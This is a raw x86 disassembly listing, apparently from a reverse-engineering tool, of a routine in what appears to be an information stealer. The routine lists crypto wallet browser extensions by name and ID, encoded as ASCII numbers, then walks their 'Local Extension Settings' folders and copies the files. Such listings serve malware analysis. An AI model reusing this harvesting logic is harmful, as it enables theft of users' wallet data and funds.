lea ecx, [ebp - 0x7f8]
mov byte [ebp - 4], 0x19
call fcn.004113c0
push str.85_109_98_114_97
lea ecx, [ebp - 0x7e0]
mov byte [ebp - 4], 0x1a
call fcn.004113c0
push str.103_108_107_110_109_97_105_100_101_97_97_110_103_97_101_106_108_99_109_108_97_103_112_108_112_97_97_97_107_106_99_108
lea ecx, [ebp - 0x7c8]
mov byte [ebp - 4], 0x1b
call fcn.004113c0
mov byte [ebp - 4], 0x1c
lea ecx, [ebp - 0x7b0]
push str.85_110_107_110_111_119_110_32_119_97_108_108_101_116
call fcn.004113c0
push str.100_102_109_98_99_97_112_107_107_101_101_106_99_112_109_102_104_112_110_103_108_110_100_102_107_103_109_97_108_104_105_107
lea ecx, [ebp - 0x798]
mov byte [ebp - 4], 0x1d
call fcn.004113c0
push str.86_105_97_32_87_97_108_108_101_116
lea ecx, [ebp - 0x780]
mov byte [ebp - 4], 0x1e
call fcn.004113c0
push str.112_103_98_100_108_106_104_107_103_104_105_100_109_101_106_108_99_106_98_99_98_110_108_103_102_102_103_112_102_97_98_111
lea ecx, [ebp - 0x768]
mov byte [ebp - 4], 0x1f
call fcn.004113c0
push str.87_111_109_98_97_116
lea ecx, [ebp - 0x750]
mov byte [ebp - 4], 0x20
call fcn.004113c0
push str.97_109_107_109_106_106_109_109_102_108_100_100_111_103_109_104_112_106_108_111_105_109_105_112_98_111_102_110_102_106_105_104
lea ecx, [ebp - 0x738]
mov byte [ebp - 4], 0x21
call fcn.004113c0
push str.87_111_109_98_97_116_32_87_97_108_108_101_116
lea ecx, [ebp - 0x720]
mov byte [ebp - 4], 0x22
call fcn.004113c0
push str.97_109_107_109_106_106_109_109_102_108_100_100_111_103_109_104_112_106_108_111_105_109_105_112_98_111_102_110_102_106_105_104
lea ecx, [ebp - 0x708]
mov byte [ebp - 4], 0x23
call fcn.004113c0
push str.88_105_100_32_78_101_116_119_111_114_107_32_87_97_108_108_101_116
lea ecx, [ebp - 0x6f0]
mov byte [ebp - 4], 0x24
call fcn.004113c0
push str.102_104_105_108_97_104_101_105_109_103_108_105_103_110_100_100_107_106_103_111_102_107_99_98_103_101_107_104_101_110_98_104
lea ecx, [ebp - 0x6d8]
mov byte [ebp - 4], 0x25
call fcn.004113c0
push str.88_68_67_80_97_121
lea ecx, [ebp - 0x6c0]
mov byte [ebp - 4], 0x26
call fcn.004113c0
push str.98_111_99_112_111_107_105_109_105_99_99_108_112_97_105_101_107_101_110_97_101_101_108_101_104_100_106_108_108_111_102_111
lea ecx, [ebp - 0x6a8]
mov byte [ebp - 4], 0x27
call fcn.004113c0
push str.88_68_69_70_73
lea ecx, [ebp - 0x690]
mov byte [ebp - 4], 0x28
call fcn.004113c0
push str.104_109_101_111_98_110_102_110_102_99_109_100_107_100_99_109_108_98_108_103_97_103_109_102_112_102_98_111_105_101_97_102
lea ecx, [ebp - 0x678]
mov byte [ebp - 4], 0x29
call fcn.004113c0
push str.89_111_114_111_105
lea ecx, [ebp - 0x660]
mov byte [ebp - 4], 0x2a
call fcn.004113c0
push str.102_102_110_98_101_108_102_100_111_101_105_111_104_101_110_107_106_105_98_110_109_97_100_106_105_101_104_106_104_97_106_98
lea ecx, [ebp - 0x648]
mov byte [ebp - 4], 0x2b
call fcn.004113c0
push str.90_101_99_114_101_121
lea ecx, [ebp - 0x630]
mov byte [ebp - 4], 0x2c
call fcn.004113c0
push str.111_106_98_112_99_98_105_110_106_109_111_99_104_107_104_101_108_107_102_108_100_100_102_110_109_99_99_101_111_109_100_105
lea ecx, [ebp - 0x618]
mov byte [ebp - 4], 0x2d
call fcn.004113c0
push str.90_105_108_80_97_121
lea ecx, [ebp - 0x600]
mov byte [ebp - 4], 0x2e
call fcn.004113c0
push str.107_108_110_97_101_106_106_103_98_105_98_109_104_108_101_112_104_110_104_112_109_97_111_102_111_104_103_107_112_103_107_100
lea ecx, [ebp - 0x5e8]
mov byte [ebp - 4], 0x2f
call fcn.004113c0
lea eax, [ebp - 0x5d0]
mov dword [ebp - 4], 0x230
lea ecx, [ebp - 0x14d0]
push eax
push ecx
lea ecx, [ebp - 0x3e0]
call fcn.00441fa0
push fcn.00413c80
push 0x50
push 0x30
lea eax, [ebp - 0x14d0]
mov byte [ebp - 4], 0x32
push eax
call fcn.0061ec37
lea eax, [ebp - 0x40]
mov dword [ebp - 0x40], 0
push eax
lea ecx, [ebp - 0x3e0]
call fcn.004421a0
nop
mov eax, dword [ebp - 0x40]
cmp byte [eax + 0xd], 0
jne 0x42b5c9
lea esi, [eax + 0x10]
lea edx, [esi + 0x18]
lea ecx, [ebp - 0x4e0]
call fcn.00424de0
mov edx, esi
mov byte [ebp - 4], 0x33
lea ecx, [ebp - 0x3b0]
call fcn.00424de0
push 0x6a7b00
lea eax, [ebp - 0x144]
mov byte [ebp - 4], 0x34
push eax
lea eax, [ebp - 0x194]
push eax
call fcn.004513b0
add esp, 0xc
push edi
push eax
lea eax, [ebp - 0x17c]
mov byte [ebp - 4], 0x35
push eax
call fcn.00451520
add esp, 0xc
lea ecx, [ebp - 0x194]
mov byte [ebp - 4], 0x37
call fcn.00447640
push str.Local_Extension_Settings
lea eax, [ebp - 0x17c]
push eax
lea eax, [ebp - 0xcc]
push eax
call fcn.004513b0
add esp, 0xc
push 0x6a7b00
lea eax, [ebp - 0xcc]
mov byte [ebp - 4], 0x38
push eax
lea eax, [ebp - 0x194]
push eax
call fcn.004513b0
add esp, 0xc
lea ecx, [ebp - 0x4e0]
mov byte [ebp - 4], 0x39
push ecx
push eax
lea eax, [ebp - 0x58]
push eax
call fcn.00451520
add esp, 0xc
lea ecx, [ebp - 0x194]
mov byte [ebp - 4], 0x3b
call fcn.00447640
push 0
lea eax, [ebp - 0x58]
push eax
lea ecx, [ebp - 0x34]
call fcn.0045a110
lea ecx, [ebp - 0x34]
mov byte [ebp - 4], 0x3c
call fcn.00409800
lea ecx, [ebp - 0x34]
mov byte [ebp - 0x15c9], al
call fcn.00406430
cmp byte [ebp - 0x15c9], 0
je 0x42b584
xorps xmm0, xmm0
mov dword [ebp - 0x384], 0
lea ecx, [ebp - 0x38c]
movq qword [ebp - 0x38c], xmm0
call fcn.00443910
push 0
lea eax, [ebp - 0x58]
mov byte [ebp - 4], 0x3d
push eax
lea ecx, [ebp - 0x34]
call fcn.0045a110
lea eax, [ebp - 0x34]
mov byte [ebp - 4], 0x3e
push eax
lea ecx, [ebp - 0x3d8]
call fcn.004089f0
lea ecx, [ebp - 0x34]
call fcn.00406430
lea eax, [ebp - 0x3d8]
xorps xmm0, xmm0
push eax
lea ecx, [ebp - 0x1648]
movlpd qword [ebp - 0x2f0], xmm0
call fcn.0040df00
lea eax, [ebp - 0x1648]
push eax
lea ecx, [ebp - 0x2f0]
call fcn.00445660
mov ecx, dword [ebp - 0x1644]
test ecx, ecx
je 0x42b263
call fcn.00403a50
sub esp, 8
lea eax, [ebp - 0x3d8]
xorps xmm0, xmm0
mov dword [ebp - 0x15dc], esp
mov ecx, esp
movlpd qword [ebp - 0x3d0], xmm0
push eax
call fcn.0040df00
lea ecx, [ebp - 0x3d0]
call fcn.00408b10
add esp, 8
mov byte [ebp - 4], 0x42
nop word [eax + eax]
mov esi, dword [ebp - 0x2f0]
cmp esi, dword [ebp - 0x3d0]
je 0x42b2e5
lea eax, [ebp - 0x1724]
mov ecx, esi
push eax
call fcn.00408560
cmp dword [eax], 2
jne 0x42b2d0
add esi, 0x20
lea ecx, [ebp - 0x38c]
push esi
call fcn.0045c820
lea ecx, [ebp - 0x2f0]
call fcn.004085b0
test eax, eax
jne 0x42b75b
jmp 0x42b2a0
mov ecx, dword [ebp - 0x3cc]
test ecx, ecx
je 0x42b2f4
call fcn.00403a50
mov ecx, dword [ebp - 0x2ec]
test ecx, ecx
je 0x42b303
call fcn.00403a50
mov byte [ebp - 4], 0x3d
mov ecx, dword [ebp - 0x3d4]
test ecx, ecx
je 0x42b316
call fcn.00403a50
mov esi, dword [ebp - 0x38c]
mov edi, dword [ebp - 0x388]
mov eax, esi
cmp eax, edi
je 0x42b573
push 0
lea eax, [ebp - 0xb4]
push eax
lea ecx, [ebp - 0x34]
call fcn.0045a110
lea ecx, [ebp - 0x34]
mov byte [ebp - 4], 0x43
call fcn.00409800
test al, al
mov byte [ebp - 4], 0x3d
lea ecx, [ebp - 0x34]
sete byte [ebp - 0x15c9]
call fcn.00406430
cmp byte [ebp - 0x15c9], 0
je 0x42b390
push 0
lea eax, [ebp - 0xb4]
push eax
lea ecx, [ebp - 0x34]
call fcn.0045a110
lea ecx, [ebp - 0x34]
mov byte [ebp - 4], 0x44
call fcn.004099d0
lea ecx, [ebp - 0x34]
mov byte [ebp - 4], 0x3d
call fcn.00406430
push 0
lea eax, [ebp - 0xe4]
push eax
lea ecx, [ebp - 0x34]
call fcn.0045a110
lea ecx, [ebp - 0x34]
mov byte [ebp - 4], 0x45
call fcn.00409800
test al, al
mov byte [ebp - 4], 0x3d
lea ecx, [ebp - 0x34]
sete byte [ebp - 0x15c9]
call fcn.00406430
cmp byte [ebp - 0x15c9], 0
je 0x42b3f4
push 0
lea eax, [ebp - 0xe4]
push eax
lea ecx, [ebp - 0x34]
call fcn.0045a110
lea ecx, [ebp - 0x34]
mov byte [ebp - 4], 0x46
call fcn.004099d0
lea ecx, [ebp - 0x34]
mov byte [ebp - 4], 0x3d
call fcn.00406430
push 0x6a7b00
lea eax, [ebp - 0xe4]
push eax
lea eax, [ebp - 0x1e8]
push eax
call fcn.004513b0
add esp, 0xc
lea ecx, [ebp - 0x120]
mov byte [ebp - 4], 0x47
push ecx
push eax
lea eax, [ebp - 0x380]
push eax
call fcn.00451520
add esp, 0xc
push 0x6ab1c8
push eax
lea eax, [ebp - 0x2bc]
mov byte [ebp - 4], 0x48
push eax
call fcn.00451410
add esp, 0xc
push dword [ebp - 0x15d8]
mov byte [ebp - 4], 0x49
push eax
lea eax, [ebp - 0x15f4]
push eax
call fcn.00451520
add esp, 0xc
push 0x6ab1c8
push eax
lea eax, [ebp - 0x194]
mov byte [ebp - 4], 0x4a
push eax
call fcn.00451410
add esp, 0xc
lea ecx, [ebp - 0x3b0]
mov byte [ebp - 4], 0x4b
push ecx
push eax
lea eax, [ebp - 0x9c]
push eax
call fcn.00451520
add esp, 0xc
lea ecx, [ebp - 0x194]
call fcn.00447640
lea ecx, [ebp - 0x15f4]
call fcn.00447640
lea ecx, [ebp - 0x2bc]
call fcn.00447640
lea ecx, [ebp - 0x380]
call fcn.00447640
lea ecx, [ebp - 0x1e8]
mov byte [ebp - 4], 0x51
call fcn.00447640
push 0
lea eax, [ebp - 0x9c]
push eax
lea ecx, [ebp - 0x34]
call fcn.0045a110
lea ecx, [ebp - 0x34]
mov byte [ebp - 4], 0x52
call fcn.00409800
test al, al
mov byte [ebp - 4], 0x51
lea ecx, [ebp - 0x34]
sete byte [ebp - 0x15c9]
call fcn.00406430
cmp byte [ebp - 0x15c9], 0
je 0x42b530
push 0
lea eax, [ebp - 0x9c]
push eax
lea ecx, [ebp - 0x34]
call fcn.0045a110
lea ecx, [ebp - 0x34]
mov byte [ebp - 4], 0x53
call fcn.004099d0
lea ecx, [ebp - 0x34]
mov byte [ebp - 4], 0x51
call fcn.00406430
push 0
lea eax, [ebp - 0x9c]
push eax
lea ecx, [ebp - 0x34]
call fcn.0045a110
push 2
lea edx, [ebp - 0x34]
mov byte [ebp - 4], 0x54
mov ecx, esi
call fcn.0040ada0
add esp, 4
lea ecx, [ebp - 0x34]
call fcn.00406430
lea ecx, [ebp - 0x9c]
mov byte [ebp - 4], 0x3d
call fcn.00447640
add esi, 0x18
jmp 0x42b322
lea ecx, [ebp - 0x38c]
call fcn.0043ed70
mov edi, dword [ebp - 0x15d8]
lea ecx, [ebp - 0x58]
call fcn.00447640
lea ecx, [ebp - 0xcc]
call fcn.00447640
lea ecx, [ebp - 0x17c]
call fcn.00447640
lea ecx, [ebp - 0x3b0]
call fcn.00447640
lea ecx, [ebp - 0x4e0]
mov byte [ebp - 4], 0x32
call fcn.00447640
lea ecx, [ebp - 0x40]
call fcn.00440bd0
jmp 0x42b0d0
lea ecx, [ebp - 0x3e0]
call fcn.004113b0
lea ecx, [ebp - 0xe4]
call fcn.00447640
lea ecx, [ebp - 0xb4]
mov dword [ebp - 4], 0xb5
call fcn.00447640
mov ecx, dword [ebp - 0x15d0]
add edi, 0x18
jmp 0x42a38c
lea ecx, [ebp - 0xf0]
call fcn.00443780
lea ecx, [ebp - 0x12c]
call fcn.00443c80
lea ecx, [ebp - 0x25c]
call fcn.00447640
lea ecx, [ebp - 0x580]
call fcn.0040ff90
lea ecx, [ebp - 0x22c]
call fcn.00447640
lea ecx, [ebp - 0x28c]
call fcn.00447640
lea ecx, [ebp - 0x1f8]
call fcn.00443a90
lea ecx, [ebp - 0x1558]
call fcn.00441a60
lea ecx, [ebp - 0x1558]
call fcn.00445030
lea ecx, [ebp - 0x244]
call fcn.00447640
lea ecx, [ebp - 0x274]
call fcn.00447640
lea ecx, [ebp - 0x308]
call fcn.00447640
lea ecx, [ebp - 0x350]
call fcn.00447640
lea ecx, [ebp - 0x320]
call fcn.00447640
lea ecx, [ebp - 0x338]
call fcn.00447640
lea ecx, [ebp - 0x144]
call fcn.00447640
lea ecx, [ebp - 0x214]
call fcn.00406430
lea ecx, [ebp - 0x5d0]
call fcn.0043f270
lea ecx, [ebp - 0x120]
call fcn.00447640
lea ecx, [ebp - 0x368]
mov byte [ebp - 4], 0x23
call fcn.00447640
lea ecx, [ebp - 0x1d0]
call fcn.00440bd0
jmp 0x4255c0
lea ecx, [ebp - 0x14c]
call fcn.004113b0
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
mov ecx, dword [ebp - 0x1c]
xor ecx, ebp
call fcn.0061eb08
mov esp, ebp
pop ebp
mov esp, ebx
pop ebx
ret
mov edx, eax
mov ecx, str.directory_iterator::operator
call fcn.00408050
int3